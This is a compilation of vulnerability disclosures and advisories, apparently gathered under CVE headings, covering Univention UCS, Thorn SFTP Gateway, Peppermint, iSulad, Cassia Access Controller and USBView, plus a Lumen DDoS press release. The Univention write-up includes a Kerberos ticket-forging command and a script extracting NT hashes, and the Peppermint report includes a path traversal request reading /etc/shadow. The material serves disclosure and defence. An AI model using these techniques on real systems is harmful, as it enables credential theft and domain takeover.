Archive, check and export commands in Chef InSpec
prior to 4.56.58 and 5.22.29 allow local command execution via maliciously
crafted profile.





CVE-2023-42658: InSpec CLI

An issue in Univention UCS v.5.0 allows a local attacker to execute arbitrary code and gain privileges via the check_univention_joinstatus function.

**Table of Contents**

1.  Introduction
2.  The Basics
3.  Exploitation via LDAP
4.  Exploitation via SSH/Kerberos
5.  Exploitation via Hash Cracking
6.  The Fix
7.  Lessons Learned
8.  Disclosure Timeline
9.  Update history

**Introduction**

Recently, DriveByte was assigned to perform a penetration test for a customer. The goal was to find as many vulnerabilities as possible, as well as to determine, if an attacker would be able to compromise the customer’s infrastructure. The unusual part about it? The customer’s IT had no Microsoft Active Directory nor Entra ID but something similar. It was based on a product called Univention UCS, which is according to their website, a solution for "easy and centralized administration of domains". This was especially interesting for us, as we did not know this solution before and are of course always genuinely interested in digging into new technologies. The following blogpost shows a very classic and simple flaw, that had a huge impact on the customer's environment.

Since the initial publication of this blogpost, some changes have been made. This includes especially some additional information that we received from univention. For better tracking we added a section "Update History". Special thanks again to Univention for the awesome information and collaboration!

**TLDR:**

By spying on the process creation of a UCS connected server with extensive permissions, it was possible to gather a large amount of LDAP data. This data includes different credentials and other authentication information. The vendor responded extremely professional and fixed the issues very quickly. He did not only fix the script where we found the issue, but also checked their code base for similar problems and fixed them as well.

**Do the basics. They might reward you with some quick wins!**

The vulnerability analysis was performed with access to the customer’s network and a user with very limited permissions (domain joined, but nothing else). While enumerating the network, we found that it is possible to access several servers with our basic user via SSH (remember, the network is mainly based on Linux machines, with only a very small number of Windows and Mac machines). This was possible due to faulty configured permissions and is not a default setting or problem of Univention UCS, but a configuration error. We know this kind of misconfigurations from Windows Active Directory environments, where we often see permissions for "authenticated users" for SMB, RDP and so on.

Of course, this was a very easy entry point and we started to dig into the machines to see if there is anything juicy to be found. Before trying to escalate privileges, we first checked for secrets and so on. Also, for chances of a quick win, we usually start monitoring process creations, to check for privilege escalation opportunities and other valuable information (hell yeah, full HackTheBox/OSCP style!!!). By searching through the system, we discovered the files /etc/ldap.secret and /etc/machine.secret. This sounded like relevant information. Sadly, we couldn’t read the files, as they were set to read/write-only by root. Also, we didn't know what they are used for, but suspected them to be part of the Univention software. A quick search through the extensive Univention documentation proved this assumption right. After publishing this blogpost, Univention contacted us again and hinted us to this discussion about a solution for the machine.secret and ldap.secretfiles. As they identified this files as a possible attack surface, they are planning to find another solution for this. So a solution is in the making.

We played around a little with some of the Univention scripts etc., but at first did not find anything that seemed promising. So, the next step was to check for privilege escalation. Next to other approaches, we went back to the process creation monitoring, and there it was:

The script check_univention_joinstatus requested the LDAP database as the system account, presenting the password in cleartext. We suspected that this might be the password from the /etc/machine.secret file which was later confirmed. So, the logical next step for us was to recreate this exact command from our attacker machine. We were quite surprised to see, that this machine had permissions to basically perform DCSync. It's not Windows AD of course. The machine had the permission to retrieve ALL directory objects _with all their attributes_. This includes users, with their krb5key, sambaNTPassword (NTHash), SHA512 or bcrypt hashes (SHA512 is the default) as well as their password history. The following screenshot shows the output we recreated in a lab environment:

However, this is only possible if the domain joined system has the permissions that match DCSync. In our test environment we joined an arbitrary machine to the domain and checked what information we get back from the "Domain Controller". So, in comparison to the information above, you can see in the screenshot below what information a usual domain joined system gets:

**Exploitation attempt 1: LDAP**

To exploit this issue, we can rely on n00py's awesome "Alternative ways to Pass the Hash (PtH)" blogpost. However, a bit more research on that topic showed, that it is not as simple as we first thought. Our first guess was, that we can just use the LDAP3 Python module to connect to LDAP with the NTLM hash. Unfortunately, that seems to be impossible with Univention, as it is not supporting NTLM authentication for LDAP:

While our first impression was, that we are doing something wrong, this GitHub entry stated that the "authMethodNotSupported" message is from the server. It seems that Univention does not have NTLM authentication activated on the server by default (atm, we don't know if it is supported at all).

For comparison, the SIMPLE authentication via LDAP is working fine:

But the 'server.info' output is puzzling us a bit because it says that NTLM is a valid SASL mechanism, so maybe there is a workaround by using NTLM for SASL. Before going too deep into that path and losing a lot of time, we decided to try something else. Maybe this motivates somebody who has more knowledge in this area to dig into it. Or maybe we will come back to this later...

Here we also got some additional information from Univention. NTLM is indeed not supported. The fact that it is still shown as supported sasl mechanism is due to the OpenLDAP defaulf configuration. Univention is tracking this issue here.

**Exploitation attempt 2: SSH via Kerberos**

As an alternative way, \\@n00py suggests in his blogpost to use the NThash to sign a Kerberos ticket and then connect via SSH. Well, that seems easy. So we took the administrator's hash and threw it in Impacket's ticketer.py. All information for this including the domain-sid etc. was included in the full domain dump.

    ticketer.py -nthash 3B0E04870F352EDC0EF120F16431FA42 -domain-sid S-1-5-21-2228799870-4051273110-1256914315 -spn host/ucs-7427.drivebytetest.intranet -domain drivebytetest.intranet Administrator

Sadly, the authentication failed with the following message:

As this is no traditional AD, we were thinking that they could use another approach to sign their Kerberos tickets. What was bugging us from the start was the krb5Key fields we've seen in the second screenshot. And again, the Univention documentation comes to our rescue. It states that "The krb5Key attribute stores the Kerberos password". Nice. But how?

After googling for a while, we came across this post in the Univention help forum. It contains some very interesting information. First, the krb5Key seems to consist of a keytype, a keyblock, in one case even an NThash and a salt string. Well, now of course we wanted to get our fingers on this s4search-decode script that was mentioned in this help request. We did not find it. It wasn’t on the domain controller and we didn't find it in the Univention Git repo (but maybe we just went over it???, there are tons of mentions, but we didn't find the actual script <- The awesome people from univention pointed us to this. So yeah. We were indeed just not finding it somehow). At that point a friend with whom we discussed the topic pointed us to the following page https://docs.software-univention.de/ucs-python-api/\_modules/univention/s4connector/s4/password.html. This file can also be found in the Univention Git. He pointed this out to us because of the following function:

    ...
    def extract_NThash_from_krb5key(ucs_krb5key):
    
        NThash = None
    
        for k in ucs_krb5key:
            (keyblock, salt, kvno) = heimdal.asn1_decode_key(k)
    
            enctype = keyblock.keytype()
            enctype_id = enctype.toint()
            if enctype_id == 23:
                krb5_arcfour_hmac_md5 = keyblock.keyvalue()
                NThash = binascii.b2a_hex(krb5_arcfour_hmac_md5)
                break
    
        return NThash
    
    ...

Nice. This seemed promising with only one downside; The dependency on heimdal which looked like a Univention-specific library version. We quickly recognized that this lib is installed on the Univention DC. But we didn't want to rely on that for executing the script. After a bit of searching we found a download portal which offered a Debian package and the source code etc. The package requires python below 3.8 and some other dependencies, but nothing too special. So we spun up a docker container to go on with the testing (The Dockerfile and final script can be found on our GitHub). We extracted the function, added only the important imports, and fired it up in iPython... and failed:

It seems that the krb5Key usually is not base64 encoded when passed to the function. But after modifying this, we were still running into an error. We started to break down the steps and came out with the following working script, which does basically the same steps as the actual function.

    #!/usr/bin/python3
    # -*- coding: utf-8 -*-
    
    import binascii
    import heimdal
    import base64
    import argparse
    
    krb5_keytype__des_cbc_crc = 1
    krb5_keytype__des_cbc_md4 = 2
    krb5_keytype__des_cbc_md5 = 3
    krb5_keytype__des3_cbc_sha1 = 16
    krb5_keytype__aes128_cts_hmac_sha1_96 = 17
    krb5_keytype__aes256_cts_hmac_sha1_96 = 18
    krb5_keytype__arcfour_hmac_md5 = 23
    
    def extract_NThash_from_krb5key(ucs_krb5key):
    
        NThash = None
    
        keyblock,salt,kvno = heimdal.asn1_decode_key(base64.b64decode(ucs_krb5key))
    
        if keyblock.keytype().toint() == krb5_keytype__arcfour_hmac_md5:
            NThash = binascii.hexlify(keyblock.keyvalue()).decode('utf-8')
        else:
            print(f'Keytype is: ', keyblock.keytype().toint())
    
        return NThash
    
    
    def main():
        parser = argparse.ArgumentParser(
                prog='ProgramName',
                        description='Simple tool to extract ntlm hash out of the arcfour_hmac_md5 krb5key used by univention ucs')
        parser.add_argument('-d', help="put your base64 encoded krb5key value here", required=True)
        args = parser.parse_args()
        nt_hash = extract_NThash_from_krb5key(args.d)
        print("NThash: ",nt_hash)
    
    
    if __name__ == '__main__':
        main()

And this worked like a charm. It allows us to extract the NThash out of the krb5Key. Now we could take the krb5Key of the krbtgt account for example to forge a ticket as Administrator, which is the default "Domain Admin" in Univention UCS.

And that's it. We can now be everybody we want to be :blush:.

Maybe we can also use the other keyblock values to sign the TGTs somehow. But we didn't look into that so far.

**Exploitation attempt 3: Hash Cracking**

As we are in possession of the NThashes, we are also able to try password cracking quite efficiently. We confirmed that the sambaNTPassword represents the actual password. Using hashcat, some proper wordlists as well as some good rules, can open some more pathways.

Using those methods we were able to go from "any user in the directory" to "Administrator", the "Domain Admin" equivalent because of some very basic misconfigurations, a trivial but impactful bug and a recoverable password.

**The Fix**

The mitigation time and responses from Univention have been extraordinary. It was a pleasure to work with them, as the communication was fast, professional as well as solution-oriented! Special thanks for this awesome experience and awareness for security! Univention rated the bug with 7.9 (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)

CVE-2023-38994 was reserved by MITRE for this issue, but not released yet.

Fixed version: Univention UCS 5.0-4 Fix number: 1.0.2-4

**Lessons Learned**

*   Do not grant "everyone" or "authenticated users" permissions to any machine if possible (and we guess that’s possible in almost every scenario)
*   Upgrade your software
*   Set strong and unique passwords
*   For developers and admins: Avoid sensitive information in process creations (Univention added this to their developers security guidelines. Great Job!)

**Disclosure Timeline**

2023/07/17 - Bug Reported

2023/07/17 - Bug confirmed by Univention and opened in their Bugtracker

2023/07/17 - GitHub push to fix the Bug

2023/07/19 - Fix release in 1.0.2-4 Release Note

2023/07/19 - Fix release of similar issues in another script Release Note

**Update History**

*   2023/10/19 - Added advisory for developers and admins in Lesson Learned
*   2023/10/30 - Mentioning Updates in the introduction
*   2023/10/30 - Added information about the misconfiguration of the ssh permissions
*   2023/10/30 - Added the outlook on a solution for the machine.secret and ldap.secret files
*   2023/10/30 - Changed wording from "synced" to "requested"
*   2023/10/30 - Added additional information and bugtracker about NTLM
*   2023/10/30 - Added the link to the s4search-decode script
*   2023/10/30 - Updated "Lessons Learned" with the fact that univention updated their developers security guidelines
*   2023/10/30 - Added link to the bugtracker in the timeline

CVE-2023-38994: Simple yet effective. The story of some simple bugs that led to the complete compromise of a network

Thorn SFTP gateway 3.4.x before 3.4.4 uses Pivotal Spring Framework for Java deserialization of untrusted data, which is not supported by Pivotal, a related issue to CVE-2016-1000027. Also, within the specific context of Thorn SFTP gateway, this leads to remote code execution.

**Overview**

A security advisory CVE-2016-1000027 applies to recent versions of SFTP Gateway. A vulnerability in a dependency library exposes a way to perform remote code execution (RCE) against the web admin portal of SFTP Gateway.

We recommend that you take the following actions below.

**Check your version of SFTP Gateway**

This vulnerability only affects the following SFTP Gateway versions:

*   v3.4.0
*   v3.4.1
*   v3.4.2
*   v3.4.3

You can check the version of SFTP Gateway by scrolling to the footer of the web admin portal.

Alternatively, you can SSH into the VM and list the files in /opt/sftpgw/ which show the version in the file names.

**Restrict port 443 to sysadmin IP addresses only**

The web admin portal of SFTP Gateway should already be locked down to sysadmin IP addresses only, if configured according to our guidelines.

Take some time now to verify your network ingress rules on port 443, and make sure it is **NOT** open to the world. For example, remove any rules for HTTPS 443 that allow the range 0.0.0.0/0.

Also, update your existing port 443 rules to remove any stale entries.

**Perform an in-place upgrade to version 3.4.4**

The easiest way to upgrade would be to use our in-place upgrade script.

**Note**: you must already be on SFTP Gateway version 3 in order to perform an in-place upgrade.

**Migrate to version 3.4.4**

The safest way to perform an upgrade is to perform a migration.

This entails exporting a backup of your existing server, and importing the backup into a new instance of v3.4.4. Finally, perform an IP or DNS cutover to the new server.

**Contact Support**

If you run into any issues, you can reach out to us via email at support@thorntech.com.

CVE-2023-47174: Java Deserialization RCE · SFTP Gateway Support

Peppermint Ticket Management through 0.2.4 allows remote attackers to read arbitrary files via a /api/v1/ticket/1/file/download?filepath=../ POST request.

**Description**

When downloading a file attached to a ticket, it was observed to be able to download arbitrary files off the web server due to the filepath query parameter not being validated and passed directly to fs.createReadStream. Instructions to download and run the latest release were followed from here: https://github.com/Peppermint-Lab/peppermint/tree/master#-installation-with-docker

**Steps to Reproduce**

1.  Login to the application.
2.  Create a new ticket.
3.  Upload a file.
4.  Download the file and intercept the request in Burp Suite.
5.  Change the filepath parameter to "../../../../../../etc/shadow" or "../../../../../../etc/passwd" or "./.env"

**Proof of Concept Request and Response**

Request:

    POST /api/v1/ticket/1/file/download?filepath=../../../../../../etc/shadow HTTP/1.1
    Host: localhost:5000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.00) Gecko/20100101 Firefox/118.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://localhost:5000/ticket/1
    Content-Type: multipart/form-data; boundary=---------------------------9995410711832151211174726991
    Content-Length: 61
    Origin: http://localhost:5000
    Connection: close
    Cookie: token=<omitted>
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    -----------------------------9995410711832151211174726991--
    
    

Response:

    HTTP/1.1 200 OK
    Date: Sat, 14 Oct 2023 23:28:05 GMT
    Connection: close
    Content-Length: 476
    
    root:!::0:::::
    bin:!::0:::::
    daemon:!::0:::::
    adm:!::0:::::
    lp:!::0:::::
    sync:!::0:::::
    shutdown:!::0:::::
    halt:!::0:::::
    mail:!::0:::::
    news:!::0:::::
    uucp:!::0:::::
    operator:!::0:::::
    man:!::0:::::
    postmaster:!::0:::::
    cron:!::0:::::
    ftp:!::0:::::
    sshd:!::0:::::
    at:!::0:::::
    squid:!::0:::::
    xfs:!::0:::::
    games:!::0:::::
    cyrus:!::0:::::
    vpopmail:!::0:::::
    ntp:!::0:::::
    smmsp:!::0:::::
    guest:!::0:::::
    nobody:!::0:::::
    node:!:<omitted for security>
    nextjs:!:<omitted for security>
    

**Impact**

Allowing users to download system files, such as /etc/passwd, /etc/shadow, configuration files, application source code, and other users files. The etc/shadow file and .env file were able to be retrieved through the app.

**References**

https://cwe.mitre.org/data/definitions/22.html  
https://portswigger.net/web-security/file-path-traversal

CVE-2023-46864: Path Traversal - Arbitrary File Download · Issue #171 · Peppermint-Lab/peppermint


When the isula cp command is used to copy files from a container to a host machine and the container is controlled by an attacker, the attacker can escape the container.



627 **add bind mount file lock**

已合并

zhongtao:20.03-lts-sp1 src-openEuler:openEuler-20.03-LTS-SP1

 zhongtao 创建于 2023-09-19 15:07

克隆/下载

HTTPS SSH

复制

下载 Email Patch 下载 Diff 文件

add bind mount file lock

相关issue：#I82QEQ:在链接 glibc库场景下，当nsswitch工具动态加载一个包含容器内容的chroot库时，代码注入可能会发生。

怎样手动合并此 Pull Request

git checkout openEuler-20.03-LTS-SP1

git pull https://gitee.com/taotao-sauce/src-iSulad.git 20.03-lts-sp1

git push origin openEuler-20.03-LTS-SP1

评论 30 提交 1 文件 2 代码问题 0

展开设置 折叠设置

审查

审查人员

haomintsai

caihaomin

JingWoo

jingwoo

haozi007

duguhaotian

jingxiaolu

jingxiaolu

未设置

最少人数

0

测试

haomintsai

caihaomin

JingWoo

jingwoo

haozi007

duguhaotian

jingxiaolu

jingxiaolu

未设置

最少人数

0

优先级

不指定

严重

主要

次要

不重要

标签

openeuler-cla/yes

ci\_successful

sig/iSulad

关联 Issue

I82QEQ

在链接 glibc库场景下，当nsswitch工具动态加载一个包含容器内容的chroot库时，代码注入可能会发生。

Pull Request 合并后将关闭上述关联 Issue

里程碑

未关联

参与者 （3）

CVE-2021-33638: add bind mount file lock · Pull Request !627 · src-openEuler/iSulad - Gitee.com

iSulad uses the lcr+lxc runtime (default) to run malicious images, which can cause DOS.



251 **set env to avoid invoke lxc binary directly**

已合并

jake:jikai/set\_lxc\_memfd\_rexec src-openEuler:openEuler-22.03-LTS

jake 创建于 2023-09-18 19:25

克隆/下载

HTTPS SSH

复制

下载 Email Patch 下载 Diff 文件

#I842X9:CVE-2021-33634:CVE-2021-33634

怎样手动合并此 Pull Request

git checkout openEuler-22.03-LTS

git pull https://gitee.com/jikai11/src-openEuler-lcr.git jikai/set\_lxc\_memfd\_rexec

git push origin openEuler-22.03-LTS

评论 21 提交 1 文件 2 代码问题 0

展开设置 折叠设置

审查

审查人员

haomintsai

caihaomin

JingWoo

jingwoo

haozi007

duguhaotian

jingxiaolu

jingxiaolu

未设置

最少人数

0

测试

haomintsai

caihaomin

JingWoo

jingwoo

haozi007

duguhaotian

jingxiaolu

jingxiaolu

未设置

最少人数

0

优先级

不指定

严重

主要

次要

不重要

标签

openeuler-cla/yes

lgtm

ci\_successful

sig/iSulad

关联 Issue

I842X9

CVE-2021-33634

Pull Request 合并后将关闭上述关联 Issue

里程碑

未关联

参与者 （4）

CVE-2021-33634: set env to avoid invoke lxc binary directly · Pull Request !251 · src-openEuler/lcr - Gitee.com

An issue was discovered in Cassia Access Controller 2.1.1.2303271039. The Web SSH terminal endpoint (spawned console) can be accessed without authentication. Specifically, there is no session cookie validation on the Access Controller; instead, there is only Basic Authentication to the SSH console.

**CVE-2023-35794-WebSSH-Hijacking**

Repository contains description for CVE-2023-35794 discovered by Dodge Industrial Team for Dodge OPTIFY platfrom.

CVE ID: CVE-2023-35794  
Vendor: Cassia Networks  
Product: Access Controller  
Version: Cassia-AC-2.1.1.2303271039

Vulnerability: Incorrect Access Control  
Affected: web ssh, gateways  
Decription: WebSSH session can be hijacked  
Status: Confirmed by vendor, Fixed  
Version Patched: Cassia-AC-2.1.1.2308181707

**Details**

Cassia uses WebSSH2 by billchurch to initiate SSH sessions from AC to Gateways. WebSSH2 Is a web SSH Client which uses ssh2, socket.io, xterm.js, and express. A bare bones example of an HTML5 web-based terminal emulator and SSH client. It uses SSH2 as a client on a host to proxy a Websocket/Socket.io connection to a SSH2 server.

When a session of WebSSH is established with Gateway Device any external user can hijack it without any authentication and authorization.

Session establishment is done via GET request to proper /ap/remote/<mac>?ssh_port=<ac-rev-ssh-port> Gateway then receiving request through MQTT (or CAPWAP) channel and establishes SSH tunnel with local port forwarding to Access Controller. Then Access-Controller binds to the forwarded port with SSH Web Session. The user who invoked the web ssh session is redirected to /ssh/host but the session cookie is not validated. The new WebSSH2 cookie is provided with 401 error.  In fact a user is being asked for providing Basic auth.  Obtained Basic authentication credentials are sent in next requests and potentially consumed by webssh2.bundle.js as credentials used to authenticate to the choosen device.   This allows unathorized to Access Controller portal User to hijack already existing SSH session with only knowing SSH username and password (note that this commonly may be default cassia:cassia-<last-mac-6-digits>).

**Exploitation**

An attacker may use CVE-2023-35793 to trick any athenticated user to initiate a session to any device connected to the AC (note that the user does not need to login into the gateway, the session itself will be initiated with only exploiting CVE-2023-35793 CSRF). Then using this vulnerability and knowing the MAC address an attacker may easily obtain access to the device through WebSSH.

Lets assume an attacker triggered someone and the session is established to the gateway where the default credentials are used.

1.  Attacker just opens the web browser and enters default credentials for known device. 
2.  Attacker knowing which device were triggered provides default credentials (commonly these are not being changed) 
3.  Attacker is authenticated to device LXC container as a user which has root rights by default 

**Remediation**

*   Patch to the highest possible version availaible on Cassia Networks

CVE-2023-35794: GitHub - Dodge-MPTC/CVE-2023-35794-WebSSH-Hijacking: Repository contains description for CVE-2023-35794 discovered by Dodge Industrial Team for Dodge OPTIFY platfrom.

**PRESS RELEASE**

**DENVER****,** **Oct. 26, 2023** **/PRNewswire/ --** New data from the Lumen Technologies (NYSE: LUMN) Distributed Denial of Service (DDoS) mitigation platform landed the banking industry in the unenviable position of being the most targeted vertical of Q3 2023. This is the first time the banking industry topped Lumen's "most targeted verticals" list and was largely due to the events of a single day: Sept. 21, 2023.

On that day, a single banking customer was targeted with more than 230 DDoS attacks – a whopping 4,500% increase over the daily average for that industry – yet it experienced no downtime. Had the attackers been successful, they could have caused significant damage in the form of lost business, remediation costs and reputational damage.

"The successful mitigations for this banking customer can be traced back to Lumen's multi-layered approach to DDoS mitigation," said Brett Lemarinel, director of unified threat management for Lumen. "It starts at our network, where countermeasures are built in, and our intelligent routing technology, which sends excess traffic through our 500+ scrubbing locations. Our DDoS customers have an added layer of protection from Rapid Threat Defense, our proprietary capability that utilizes threat intelligence from Lumen Black Lotus Labs® to block DDoS botnet traffic before it reaches the customer's environment."

Lemarinel continued, "This should be a warning to all other businesses. More than 230 mitigations in a single day suggests the threat actor was determined to wreak havoc on this customer. Even though the attacker failed, the activity we saw on Sept. 21 is a potent reminder that any business can be in an attacker's crosshairs on any given day."

**Other notable findings in the report include:**

A never-before-seen, four-vector combination was attempted during the Sept. 21 event. The four-vector combination included DNS Amplification, IP Fragmentation, Invalid Packets and Static Filtering. Cyber attackers frequently modify their vector combinations as they attempt to defeat mitigation strategies, but the Lumen DDoS mitigation platform has the flexibility required to recognize and stop these attacks before they impact the targeted customers. The total number of attacks decreased in Q3 2023. Attackers frequently run their operations like a business and, as with any business, cyberattacks have seasonal ups and downs. In Q3 2023, Lumen mitigated 4,217 attacks, which was a 23% quarter-over-quarter decrease and a 24% annual decrease. The banking industry was also the most-targeted vertical for application threats, according to Lumen's application protection partner, ThreatX. Among all industries, the highest percentage of blocked traffic (25.5%) came from programmatic access, which are suspicious, automated attempts to access a web application. This number is up 89% from the previous quarter. The banking sector experienced a significant percentage of "Attacks Against Authentication" (nearly 25%), which are used to gain unauthorized access to financial data. Financial institutions are attractive to attackers, as evidenced by the high attack ratio and combination of brute-force attacks that targeted banks in Q3. Protecting financial data is paramount, but robust web application and API protection solutions can help protect the industry.

"The Q3 ThreatX application attack analysis underscores the critical importance of bot protection and the need for awareness of industry-specific threats," said Neil Weitzel, director, Security Operations Center at ThreatX. "The especially high number of programmatic access threats this quarter underscores the prevalence of bots in API and application attacks. In addition, our findings reveal variations in threats across industries, so businesses must stay vigilant and proactive to safeguard their applications and APIs."

**About Lumen Technologies**

Lumen connects the world. We are igniting business growth by connecting people, data, and applications – quickly, securely, and effortlessly. Everything we do at Lumen takes advantage of our network strength. From metro connectivity to long-haul data transport to our edge cloud, security, and managed service capabilities, we meet our customers' needs today and as they build for tomorrow. For news and insights visit news.lumen.com, LinkedIn: /lumentechnologies, Twitter: @lumentechco, Facebook: /lumentechnologies, Instagram: @lumentechnologies, and YouTube: /lumentechnologies.

**About ThreatX**

ThreatX is managed API and application protection that lets you secure them with confidence, not complexity. It blocks botnets and advanced attacks in real time, letting enterprises keep attackers at bay without lifting a finger. Trusted by companies in every industry across the globe, ThreatX profiles attackers and blocks advanced risks to protect APIs and applications 24/7. Learn more at https://www.threatx.com.

Lumen Q3 DDoS Report: Banking Was the Most Targeted Industry for the First Time

An issue in Mintty v.3.6.4 and before allows a remote attacker to execute arbitrary code via crafted commands to the terminal.

CVE-2023-39726: "[31m"?! ANSI Terminal security in 2023 and finding 10 CVEs

Gentoo Linux Security Advisory 202310-15 - A vulnerability has been discovered in usbview where certain users can trigger a privilege escalation. Versions greater than or equal to 2.2 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202310-15  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: USBView: root privilege escalation via insecure polkit settings  
     Date: October 26, 2023  
     Bugs: #831756  
       ID: 202310-15

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
A vulnerability has been discovered in usbview where certain users can  
trigger a privilege escalation.

Background  
=========  
USBView is a tool to display the topology of devices on the USB bus.

Affected packages  
================  
Package            Vulnerable    Unaffected  
-----------------  ------------  ------------  
app-admin/usbview  < 2.2         >= 2.2

Description  
==========  
A vulnerability has been discovered in usbview. Please review the CVE  
identifier referenced below for details.

Impact  
=====  
USBView allows some local users (e.g., ones logged in via SSH) to  
execute arbitrary code as root because certain Polkit settings (e.g.,  
allow_any=yes) for pkexec disable the authentication requirement. Code  
execution can, for example, use the --gtk-module option.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All USBView users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-admin/usbview-2.2"

References  
=========  
[ 1 ] CVE-2022-23220  
      https://nvd.nist.gov/vuln/detail/CVE-2022-23220

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202310-15

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2023 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Tag

#ssh